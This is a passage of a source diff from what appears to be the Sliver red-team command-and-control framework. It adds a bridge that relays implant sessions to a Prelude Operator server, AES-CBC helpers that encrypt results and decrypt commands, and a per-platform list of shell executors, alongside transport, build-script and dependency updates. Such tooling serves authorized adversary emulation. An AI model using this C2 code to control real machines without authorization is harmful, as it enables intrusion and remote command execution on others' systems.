quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
Force: false,
Request: MakeRequest(session),
})
if err != nil {
return err.Error(), 1, 0
}
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
}
+91
View File
@@ -0,0 +1,91 @@
package prelude
import (
"crypto/md5"
"encoding/hex"
"io"
"sort"
)
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
}
type AgentConfig struct {
Name string
AESKey string
Range string
Contact string
Address string
Useragent string
Sleep int
KillSleep int
CommandJitter int
CommandTimeout int
Pid int
Proxy string
Debug bool
Executing map[string]Instruction
}
type Beacon struct {
Name string
Target string
Hostname string
Location string
Platform string
Executors []string
Range string
Sleep int
Pwd string
Executing string
Links []Instruction
}
type Instruction struct {
ID string `json:"ID"`
Executor string `json:"Executor"`
Payload string `json:"Payload"`
Request string `json:"Request"`
Response string
Status int
Pid int
}
func (c *AgentConfig) BuildExecutingHash() string {
if count := len(c.Executing); count > 0 {
ids := make([]string, count)
for id := range c.Executing {
ids = append(ids, id)
}
sort.Strings(ids)
h := md5.New()
for _, s := range ids {
io.WriteString(h, s)
}
return hex.EncodeToString(h.Sum(nil))
}
return ""
}
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
if _, ex := c.Executing[instruction.ID]; ex {
return false
}
c.Executing[instruction.ID] = instruction
return true
}
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
for _, i := range instructions {
if c.StartInstruction(i) {
ret = append(ret, i)
}
}
return
}
func (c *AgentConfig) EndInstruction(instruction Instruction) {
delete(c.Executing, instruction.ID)
}
+115
View File
@@ -0,0 +1,115 @@
package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SessionMapper *PreludeSessionMapper
type OperatorConfig struct {
Range string
OperatorURL string
RPC rpcpb.SliverRPCClient
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
})
if err != nil {
return err
}
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embeded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: 3,
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Executing: make(map[string]Instruction),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go agentSession.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
}
}
p.Unlock()
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
+66
View File
@@ -0,0 +1,66 @@
package util
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
var EncryptionKey *string
//Encrypt the results
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher([]byte(*EncryptionKey))
cipherText := make([]byte, aes.BlockSize+len(plainText))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return []byte(fmt.Sprintf("%x", cipherText))
}
//Decrypt a command
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
if err != nil {
return ""
}
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
}
func pad(buf []byte, size int) ([]byte, error) {
bufLen := len(buf)
padLen := size - bufLen%size
padded := make([]byte, bufLen+padLen)
copy(padded, buf)
for i := 0; i < padLen; i++ {
padded[bufLen+i] = byte(padLen)
}
return padded, nil
}
func unpad(padded []byte, size int) ([]byte, error) {
if len(padded)%size != 0 {
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
}
bufLen := len(padded) - int(padded[len(padded)-1])
buf := make([]byte, bufLen)
copy(buf, padded[:bufLen])
return buf, nil
}
+30
View File
@@ -0,0 +1,30 @@
package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
},
"darwin": {
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
executors = append([]string{"keyword"}, executors...)
return executors
}
+8 -7
View File
@@ -19,6 +19,7 @@ package transport
*/
import (
"context"
"crypto/tls"
"crypto/x509"
"fmt"
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
}
creds := credentials.NewTLS(tlsConfig)
options := []grpc.DialOption{
grpc.WithTimeout(defaultTimeout),
grpc.WithTransportCredentials(creds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if err != nil {
return nil, nil, err
}
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
RootCAs: caCertPool,
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
},
}
tlsConfig.BuildNameToCertificate()
return tlsConfig, nil
}
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the fucking certificate validation and re-implement everything.
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
roots := x509.NewCertPool()
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
+1 -1
View File
@@ -20,7 +20,7 @@
# Creates the static go asset archives
GO_VER="1.17"
GARBLE_VER="1.17.0"
GARBLE_VER="1.17.1"
COFF_LOADER_VER="1.0.5"
GO_ARCH_1="amd64"
+16 -1
View File
@@ -32,7 +32,6 @@ else
exit 1
fi
## Server
# server / website
@@ -83,6 +82,22 @@ else
exit 1
fi
# server / configs
if go test -tags=server ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / console
if go test -tags=server ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / generate
if go test -tags=server ./server/generate -timeout 6h ; then
:
+4 -2
View File
@@ -35,6 +35,7 @@ require (
github.com/mattn/go-sqlite3 v1.14.5
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
@@ -53,7 +54,7 @@ require (
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.20.6
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
@@ -63,6 +64,7 @@ require (
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -83,7 +85,7 @@ require (
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.1 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
+8
View File
@@ -64,6 +64,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -276,6 +278,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -372,6 +376,8 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -697,6 +703,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
Loaded 100 of 291 files, more files were not shown because too many files have changed in this diff. Show more